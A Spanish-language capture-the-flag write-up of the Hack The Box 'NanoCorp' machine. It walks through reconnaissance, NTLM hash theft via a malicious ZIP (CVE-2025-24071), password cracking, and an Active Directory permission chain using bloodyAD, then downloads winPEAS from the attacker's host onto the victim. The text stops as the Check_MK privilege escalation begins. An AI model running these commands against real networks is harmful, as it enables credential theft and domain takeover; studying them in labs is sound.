NanoCorp - Hack The Box
Esta fue una máquina un poco complicada. Después de analizar los escaneos, nos dirigimos a analizar la página web activa en el puerto 80, en donde encontramos una página que nos lleva a un subdominio que nos permite subir archivos comprimidos ZIP, 7Z y RAR. Investigando un poco, encontramos una vulnerabilidad que nos permite cargar un archivo ZIP malicioso que nos ayuda a capturar el Hash NTLMv2 del usuario que ejecuta la página web, siendo el CVE-2025-24071 y CVE-2025-24054. Gracias a esta vulnerabilidad obtenemos la contraseña y un usuario válido, con lo que logramos enumerar el AD con python-bloodhound y BloodHound. Después de enumerar el AD, descubrimos que nuestro usuario se puede agregar un grupo que, dicho grupo, permite cambiarle la contraseña a un usuario sin restricciones. Aplicamos esta cadena de ataques para lograr apoderarnos de un usuario con el que nos autenticamos en la máquina AD. Dentro, utilizamos winPEASx64 para encontrar una forma de escalar privilegios, siendo así que descubrimos el uso de Check_MK Windows Agent, el cual es vulnerable a inyección de comandos (CVE-2024-0670), lo que nos permite inyectar un script de PowerShell que nos ayuda a obtener una Reverse Shell del Administrador, logrando escalar privilegios.
Herramientas utilizadas:
- ping
- nmap
- Wappalizer
- echo
- ffuf
- gobuster
- wget
- python
- responder
- JohnTheRipper
- netexec (nxc)
- ntpdate
- impacket-getTGT
- klist
- export
- bloodhound-python
- BloodHoundV4.3.1
- bloodyAD
- git
- python3
- winPEASx64.exe
- nc.exe
- RunasCs.exe
- locate
- rlwrap
- nc
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Aplicando NTLM Hash Disclosure Via Spoofing (CVE-2025-24054 - CVE-2025-24071)
- Enumeración de Active Directory con bloodhound-python y BloodHound
- Aplicando Cadena de Ataques para Ganar Acceso a la Máquina AD
- Post Explotación
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.11.93
PING 10.10.11.93 (10.10.11.93) 56(84) bytes of data.
64 bytes from 10.10.11.93: icmp_seq=1 ttl=127 time=103 ms
64 bytes from 10.10.11.93: icmp_seq=2 ttl=127 time=71.1 ms
64 bytes from 10.10.11.93: icmp_seq=3 ttl=127 time=72.0 ms
64 bytes from 10.10.11.93: icmp_seq=4 ttl=127 time=71.6 ms
--- 10.10.11.93 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 71.054/79.285/102.530/13.424 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.93 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-14 22:57 CST
Initiating SYN Stealth Scan at 22:57
Scanning 10.10.11.93 [65535 ports]
Discovered open port 139/tcp on 10.10.11.93
Discovered open port 53/tcp on 10.10.11.93
Discovered open port 135/tcp on 10.10.11.93
Discovered open port 80/tcp on 10.10.11.93
Discovered open port 445/tcp on 10.10.11.93
Discovered open port 57330/tcp on 10.10.11.93
Discovered open port 3269/tcp on 10.10.11.93
Discovered open port 49669/tcp on 10.10.11.93
Discovered open port 3268/tcp on 10.10.11.93
Discovered open port 57347/tcp on 10.10.11.93
SYN Stealth Scan Timing: About 46.88% done; ETC: 22:58 (0:00:35 remaining)
Increasing send delay for 10.10.11.93 from 0 to 5 due to 11 out of 30 dropped probes since last increase.
Discovered open port 57364/tcp on 10.10.11.93
Discovered open port 49664/tcp on 10.10.11.93
Discovered open port 9389/tcp on 10.10.11.93
Increasing send delay for 10.10.11.93 from 5 to 10 due to max_successful_tryno increase to 4
Discovered open port 88/tcp on 10.10.11.93
Discovered open port 57364/tcp on 10.10.11.93
Discovered open port 593/tcp on 10.10.11.93
Increasing send delay for 10.10.11.93 from 10 to 20 due to max_successful_tryno increase to 5
Discovered open port 5986/tcp on 10.10.11.93
Increasing send delay for 10.10.11.93 from 20 to 40 due to max_successful_tryno increase to 6
SYN Stealth Scan Timing: About 63.64% done; ETC: 22:59 (0:00:38 remaining)
Discovered open port 464/tcp on 10.10.11.93
Discovered open port 636/tcp on 10.10.11.93
Discovered open port 389/tcp on 10.10.11.93
Increasing send delay for 10.10.11.93 from 40 to 80 due to 11 out of 30 dropped probes since last increase.
Completed SYN Stealth Scan at 22:59, 107.39s elapsed (65535 total ports)
Nmap scan report for 10.10.11.93
Host is up, received user-set (0.34s latency).
Scanned at 2025-11-14 22:57:36 CST for 107s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5986/tcp open wsmans syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
57330/tcp open unknown syn-ack ttl 127
57347/tcp open unknown syn-ack ttl 127
57364/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 107.52 seconds
Raw packets sent: 524259 (23.067MB) | Rcvd: 113 (4.972KB)
| Parámetros | Descripción |
|---|---|
| -p- | Para indicarle un escaneo en ciertos puertos. |
| –open | Para indicar que aplique el escaneo en los puertos abiertos. |
| -sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
| –min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
| -vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
| -n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
| -Pn | Para indicar que se omita el descubrimiento de hosts. |
| -oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Son bastantes puertos y podemos ver algunos que ya son conocidos, siendo un indicativo de que estamos contra una máquina AD.
Escaneo de Servicios
nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49664,49669,57330,57347,57364 10.10.11.93 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-14 22:59 CST
Nmap scan report for 10.10.11.93
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://nanocorp.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-15 12:00:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Not valid before: 2025-04-06T22:58:43
|_Not valid after: 2026-04-06T23:18:43
|_ssl-date: TLS randomness does not represent time
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
57330/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
57347/tcp open msrpc Microsoft Windows RPC
57364/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m59s
| smb2-time:
| date: 2025-11-15T12:00:59
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.44 seconds
| Parámetros | Descripción |
|---|---|
| -sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
| -sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
| -p | Para indicar puertos específicos. |
| -oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Bien, podemos ver bastante información con este escaneo:
- Existe una página web activa en el puerto 80 que nos redirecciona a un dominio llamado nanocorp.htb.
- Se está utilizando el servicio WinRM en el puerto 5986, donde se utiliza un certificado SSL para la autenticación y nos muestra el dominio del DC, que es dc01.nanocorp.htb.
- El servicio SMB requiere credenciales válidas para listar sus recursos compartidos.
Antes que nada, vamos a registrar el dominio de la página web y el dominio del DC en el archivo /etc/hosts:
echo "10.10.11.93 nanocorp.htb dc01.nanocorp.htb" >> /etc/hosts
Bien, empezaremos a analizar la página web primero y de ahí seguiremos con otros servicios.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Parece ser una página web de una empresa corporativa.
Veamos qué nos dice Wappalizer:
Hay varias tecnologías, pero me llama la atención el uso de PHP y de Apache2, siendo más usados en Linux que en Windows.
Revisando qué más nos encontramos en la página, vemos que en la sección About Us tenemos la opción de aplicar a las vacantes de la empresa:
Si le damos al botón Apply Now, nos lleva a un subdominio donde podemos dar nuestra información de contacto y nos permiten subir nuestro CV en un archivo ZIP:
Si cargamos un archivo random, nos dará un error y nos indicará qué archivos sí acepta:
Acepta archivos comprimidos tipo ZIP, 7Z y RAR.
Es todo lo que podemos encontrar de momento.
Me da la impresión de que podemos encontrar algo más si aplicamos Fuzzing, así que vamos a probarlo.
Fuzzing
Aplicaremos Fuzzing a la página principal, al subdominio y probaremos si existe algún otro subdominio.
Aplicando Fuzzing a Página Principal
Primero utilicemos la herramienta ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://nanocorp.htb/FUZZ -t 300 -fc 403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nanocorp.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 403
________________________________________________
img [Status: 301, Size: 334, Words: 22, Lines: 10, Duration: 635ms]
css [Status: 301, Size: 334, Words: 22, Lines: 10, Duration: 173ms]
js [Status: 301, Size: 333, Words: 22, Lines: 10, Duration: 176ms]
IMG [Status: 301, Size: 334, Words: 22, Lines: 10, Duration: 149ms]
CSS [Status: 301, Size: 334, Words: 22, Lines: 10, Duration: 164ms]
Img [Status: 301, Size: 334, Words: 22, Lines: 10, Duration: 115ms]
JS [Status: 301, Size: 333, Words: 22, Lines: 10, Duration: 175ms]
[Status: 200, Size: 16212, Words: 8804, Lines: 229, Duration: 226ms]
slick [Status: 301, Size: 336, Words: 22, Lines: 10, Duration: 454ms]
:: Progress: [220545/220545] :: Job [1/1] :: 99 req/sec :: Duration: [0:11:05] :: Errors: 1945 ::
| Parámetros | Descripción |
|---|---|
| -w | Para indicar el diccionario a usar en el fuzzing. |
| -u | Para indicar la URL a utilizar. |
| -t | Para indicar la cantidad de hilos a usar. |
| -fc | Para filtrar respuestas en base al código de estado. |
Ahora probemos con gobuster:
gobuster dir -u http://nanocorp.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 300
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://nanocorp.htb
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 334] [--> http://nanocorp.htb/img/]
/css (Status: 301) [Size: 334] [--> http://nanocorp.htb/css/]
/js (Status: 301) [Size: 333] [--> http://nanocorp.htb/js/]
/licenses (Status: 403) [Size: 420]
/IMG (Status: 301) [Size: 334] [--> http://nanocorp.htb/IMG/]
/*checkout* (Status: 403) [Size: 301]
/CSS (Status: 301) [Size: 334] [--> http://nanocorp.htb/CSS/]
/Img (Status: 301) [Size: 334] [--> http://nanocorp.htb/Img/]
/JS (Status: 301) [Size: 333] [--> http://nanocorp.htb/JS/]
/phpmyadmin (Status: 403) [Size: 301]
/webalizer (Status: 403) [Size: 301]
/*docroot* (Status: 403) [Size: 301]
/con (Status: 403) [Size: 301]
/slick (Status: 301) [Size: 336] [--> http://nanocorp.htb/slick/]
/server-status (Status: 403) [Size: 420]
Progress: 220544 / 220544 (100.00%)
===============================================================
Finished
===============================================================
| Parámetros | Descripción |
|---|---|
| -u | Para indicar la URL a utilizar. |
| -w | Para indicar el diccionario a usar en el fuzzing. |
| -t | Para indicar la cantidad de hilos a usar. |
Descubrimos algunas páginas, pero al momento de visitarlas, no encontramos algo que nos sea de utilidad.
Se detectan algunos falsos positivos, como la página phpmyadmin, pero no sirven de nada.
Aplicando Fuzzing al Subdominio para Identificar Archivos y Directorios Ocultos
Enfoquemos el Fuzzing en buscar archivos específicos:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://hire.nanocorp.htb/FUZZ -t 300 -e .php,.txt,.html -fc 403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://hire.nanocorp.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : .php .txt .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 403
________________________________________________
index.html [Status: 200, Size: 2520, Words: 646, Lines: 68, Duration: 413ms]
images [Status: 301, Size: 347, Words: 22, Lines: 10, Duration: 413ms]
Images [Status: 301, Size: 347, Words: 22, Lines: 10, Duration: 569ms]
assets [Status: 301, Size: 347, Words: 22, Lines: 10, Duration: 207ms]
upload.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 995ms]
Index.html [Status: 200, Size: 2520, Words: 646, Lines: 68, Duration: 302ms]
success.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 430ms]
IMAGES [Status: 301, Size: 347, Words: 22, Lines: 10, Duration: 531ms]
Assets [Status: 301, Size: 347, Words: 22, Lines: 10, Duration: 353ms]
INDEX.html [Status: 200, Size: 2520, Words: 646, Lines: 68, Duration: 512ms]
Upload.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 154ms]
[Status: 200, Size: 2520, Words: 646, Lines: 68, Duration: 468ms]
Success.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 497ms]
:: Progress: [882180/882180] :: Job [1/1] :: 197 req/sec :: Duration: [0:47:48] :: Errors: 9102 ::
| Parámetros | Descripción |
|---|---|
| -w | Para indicar el diccionario a usar en el fuzzing. |
| -u | Para indicar la URL a utilizar. |
| -t | Para indicar la cantidad de hilos a usar. |
| -e | Para indicar que busque archivos especificos. |
| -fc | Para filtrar respuestas en base al código de estado. |
Ahora con gobuster:
gobuster dir -u http://hire.nanocorp.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 300 -x php,html,txt -b 403,404 --ne
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://hire.nanocorp.htb
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.8
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 347] [--> http://hire.nanocorp.htb/images/]
/index.html (Status: 200) [Size: 2520]
/Images (Status: 301) [Size: 347] [--> http://hire.nanocorp.htb/Images/]
/assets (Status: 301) [Size: 347] [--> http://hire.nanocorp.htb/assets/]
/upload.php (Status: 200) [Size: 0]
/Index.html (Status: 200) [Size: 2520]
/success.php (Status: 302) [Size: 0] [--> index.html]
/examples (Status: 503) [Size: 406]
/IMAGES (Status: 301) [Size: 347] [--> http://hire.nanocorp.htb/IMAGES/]
/Assets (Status: 301) [Size: 347] [--> http://hire.nanocorp.htb/Assets/]
/INDEX.html (Status: 200) [Size: 2520]
/Upload.php (Status: 200) [Size: 0]
/Success.php (Status: 302) [Size: 0] [--> index.html]
Progress: 882176 / 882176 (100.00%)
===============================================================
Finished
===============================================================
| Parámetros | Descripción |
|---|---|
| -u | Para indicar la URL a utilizar. |
| -w | Para indicar el diccionario a usar en el fuzzing. |
| -t | Para indicar la cantidad de hilos a usar. |
| -x | Para indicar que busque archivos especificos. |
| -b | Para aplicar un filtro que no muestre un código de estado en específico. |
| –ne | Para indicar que no muestre errores en el resultado. |
Obtuvimos varios resultados, pero al visitar las páginas de PHP, vemos solamente una página en blanco.
No podemos ver directamente estas páginas ni su código fuente.
Aplicando Fuzzing para Descubrir Subdominios
Como vimos que existe un subdominio, puede que existan más.
Entonces, usemos ffuf para comprobar si existen más subdominios:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://nanocorp.htb -H 'Host: FUZZ.nanocorp.htb' -t 300 -fw 22
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nanocorp.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.nanocorp.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 22
________________________________________________
hire [Status: 200, Size: 2520, Words: 646, Lines: 68, Duration: 146ms]
:: Progress: [220545/220545] :: Job [1/1] :: 142 req/sec :: Duration: [0:08:48] :: Errors: 972 ::
| Parámetros | Descripción |
|---|---|
| -w | Para indicar el diccionario a usar en el fuzzing. |
| -u | Para indicar la URL a utilizar. |
| -H | Para utilizar una cabecera específica. |
| -t | Para indicar la cantidad de hilos a usar. |
| -fw | Para filtrar respuestas a traves de la cantidad de palabras. |
Solamente existe un subdominio, no hay más.
Por ahora, podemos enfocarnos en investigar qué vulnerabilidades podríamos aplicar en una página web que acepta archivos ZIP y está dentro de un servidor de Windows.
Explotación de Vulnerabilidades
Aplicando NTLM Hash Disclosure Via Spoofing (CVE-2025-24054 - CVE-2025-24071)
Después de una larga investigación, descubrimos que es posible capturar el Hash NTLM utilizando un archivo ZIP malicioso que se aprovecha del formato Windows Library (.library-ms).
Esta vulnerabilidad se relaciona con el CVE-2025-24054 y CVE-2025-24071, que realmente son la misma vulnerabilidad.
Aquí te dejo un par de blogs que te ayudarán a entender y a aplicar la vulnerabilidad:
- CVE-2025-24054, NTLM Exploit in the Wild
- CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File
Además, tenemos automatizada esta vulnerabilidad en un repositorio de GitHub:
Solamente ocuparemos el script de Python, así que lo descargamos con wget:
wget https://raw.githubusercontent.com/0x6rss/CVE-2025-24071_PoC/refs/heads/main/poc.py
Ejecútalo:
python poc.py
Enter your file name: exploit
Enter IP (EX: 192.168.1.162): Tu_IP
completed
Esto generó un archivo ZIP con el nombre que elegiste.
Para capturar el Hash NTLM, utilizaremos la herramienta responder:
responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
Ahora carga el archivo ZIP malicioso al subdominio:
Espera un poco y observa el responder:
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.11.93
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash : web_svc::NANOCORP:6d
Capturamos el Hash.
Guárdalo en un archivo y crackealo con JohnTheRipper:
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
********** (web_svc)
1g 0:00:00:00 DONE (2025-11-14 23:43) 1.265g/s 2348Kp/s 2348Kc/s 2348KC/s doglover94..djcward
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Tenemos la contraseña y vemos que le pertenece al usuario web_svc.
Probando en qué servicios funciona, descubrimos que funciona para LDAP, SMB y WMI:
nxc ldap 10.10.11.93 -u 'web_svc' -p '**********'
LDAP 10.10.11.93 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:nanocorp.htb)
LDAP 10.10.11.93 389 DC01 [+] nanocorp.htb\web_svc:**********
nxc smb 10.10.11.93 -u 'web_svc' -p '**********'
SMB 10.10.11.93 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.93 445 DC01 [+] nanocorp.htb\web_svc:**********
nxc wmi 10.10.11.93 -u 'web_svc' -p '**********'
RPC 10.10.11.93 135 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:nanocorp.htb)
RPC 10.10.11.93 135 DC01 [+] nanocorp.htb\web_svc:**********
Aunque el que nos ayudará más, será el servicio LDAP, pues con este enumeraremos el AD usando BloodHound.
Enumeración de Active Directory con bloodhound-python y BloodHound
Te diría que utilizáramos directamente bloodhound-python para comenzar a capturar la información del AD, pero debido al uso de SSL y súmale Kerberos, puede que tengamos problemas con la captura de la información.
Así que primero crearemos un TGT del usuario web_svc y luego lo usaremos para comenzar a obtener la información del AD.
Primero, ponte en el mismo horario de la máquina AD:
ntpdate -u dc01.nanocorp.htb
2025-11-15 07:55:38.404918 (-0600) +25199.193461 +/- 0.034856 dc01.nanocorp.htb 10.10.11.93 s1 no-leap
CLOCK: time stepped by 25199.193461
Luego, obtén el TGT usando la herramienta impacket-getTGT:
impacket-getTGT -dc-ip 10.10.11.93 'nanocorp.htb/web_svc:**********'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in web_svc.ccache
Lo tenemos.
Expórtalo como variable de entorno y verifica que ya esté cargado:
export KRB5CCNAME=web_svc.ccache
klist
Ticket cache: FILE:web_svc.ccache
Default principal: web_svc@NANOCORP.HTB
Valid starting Expires Service principal
15/11/25 07:55:47 15/11/25 17:55:47 krbtgt/NANOCORP.HTB@NANOCORP.HTB
renew until 16/11/25 07:55:45
Ya con esto listo, ya podemos usar bloodhound-python:
bloodhound-python -u 'WEB_SVC' -p 'dksehdgh712!@#' -d nanocorp.htb -c All -o bloodhound_results.json -ns 10.10.11.93 -k
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: nanocorp.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.nanocorp.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.nanocorp.htb
INFO: Found 6 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying comput
Carga esta información en BloodHound e investiguemos si hay alguna vulnerabilidad.
Si buscamos al usuario web_svc y vemos los objetivos de alto valor que puede alcanzar, podremos visualizar nuestro vector/cadena de ataques:
Ahí mismo podemos ver lo siguiente:
- El usuario web_svc tiene el permiso AddSelf sobre el grupo IT_SUPPORT, lo que nos permite añadir a este usuario a este grupo, sin ninguna restricción.
- Cualquier miembro del grupo IT_SUPPORT, tiene el permiso ForceChangePassword sobre el usuario monitoring_svc, lo que nos permite cambiar su contraseña sin ninguna restricción.
- Por último, vemos que el usuario monitoring_svc puede conectarse directamente a la máquina AD (permiso CanPSRemote).
Ya tenemos una cadena de ataques que podemos seguir para ganar acceso a la máquina víctima.
Aplicando Cadena de Ataques para Ganar Acceso a la Máquina AD
Lo principal que debemos hacer, es agregar a nuestro usuario web_svc al grupo IT_SUPPORT.
Esto lo podemos hacer con la herramienta bloodyAD y aquí te explican cómo hacerlo:
Apliquémoslo:
bloodyAD --host 10.10.11.93 -d nanocorp.htb -u 'web_svc' -p '**********' add groupMember IT_SUPPORT web_svc
[+] web_svc added to IT_SUPPORT
Muy bien, se realizó el cambio.
Cambiémosle la contraseña al usuario monitoring_svc, que igual te explican cómo hacerlo aquí usando bloodyAD:
Apliquémoslo:
bloodyAD --host 10.10.11.93 -d nanocorp.htb -u 'web_svc' -p '**********' set password monitoring_svc 'NewP@ssword2025!'
[+] Password changed successfully!
Muy bien, pudimos cambiarle la contraseña con éxito.
Por último, para poder conectarnos a la máquina AD, podemos crear un TGT y luego utilizar la herramienta winrmexec.
Creamos el TGT del usuario monitoring_svc:
impacket-getTGT 'nanocorp.htb'/'monitoring_svc:NewP@ssword2025!'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in monitoring_svc.ccache
Lo exportamos como variable de entorno y revisamos que esté cargada:
export KRB5CCNAME=monitoring_svc.ccache
klist
Ticket cache: FILE:monitoring_svc.ccache
Default principal: monitoring_svc@NANOCORP.HTB
Valid starting Expires Service principal
15/11/25 08:07:55 15/11/25 12:07:55 krbtgt/NANOCORP.HTB@NANOCORP.HTB
renew until 15/11/25 12:07:55
Descarga la herramienta winrmexec si es que no la tienes:
git clone https://github.com/ozelis/winrmexec.git
Utilizamos el script de Python y nos conectamos a la máquina víctima (recuerda que debe estar en el mismo horario que la máquina AD):
python3 winrmexec/winrmexec.py -ssl -port 5986 -k nanocorp.htb/monitoring_svc@dc01.nanocorp.htb -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] '-target_ip' not specified, using dc01.nanocorp.htb
[*] '-url' not specified, using https://dc01.nanocorp.htb:5986/wsman
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] '-spn' not specified, using HTTP/dc01.nanocorp.htb@NANOCORP.HTB
[*] '-dc-ip' not specified, using NANOCORP.HTB
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB
PS C:\Users\monitoring_svc\Documents> whoami
nanocorp\monitoring_svc
Estamos dentro.
En el Escritorio encontraremos la flag del usuario:
PS C:\Users\monitoring_svc\Documents> cd ../Desktop
PS C:\Users\monitoring_svc\Desktop> type user.txt
...
Post Explotación
Aplicando Vulnerabilidad CVE-2024-0670 en check_mk_agent para Escalar Privilegios
Podemos cargar la herramienta winPEASx64 para saber a qué es vulnerable la máquina.
Aquí lo puedes descargar:
Lo cargamos en la máquina usando wget y lo ejecutamos (recuerda que debes levantar un servidor con Python):
PS C:\Users\monitoring_svc\Desktop> wget “http://Tu_IP/winPEASx64.exe” -UseBasicParsing -OutFile “winPEASx64.exe”
PS C:\Users\monitoring_svc\Desktop> ./winPEASx64.exe
Observa lo siguiente:
ÉÍÍÍÍÍÍÍÍÍ͹ Current TCP Listening Ports
È Check for services restricted from the outside
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP 0.0.0.0 80 0.0.0.0 0 Listening 1112 httpd
TCP 0.0.0.0 88 0.0.0.0 0 Listening 712 lsass
TCP 0.0.0.0 135 0.0.0.0 0 Listening 1012 svchost
...
TCP 0.0.0.0 6556 0.0.0.0 0 Listening 4032 cmk-agent-ctl
...
TCP 127.0.0.1 28250 0.0.0.0 0 Listening 3108 check_mk_agent
Vemos que se está utilizando la herramienta check_mk_agent.
Existen dos versiones vulnerables de esta herramienta, pero la que usaremos será el CVE-2024-0670.
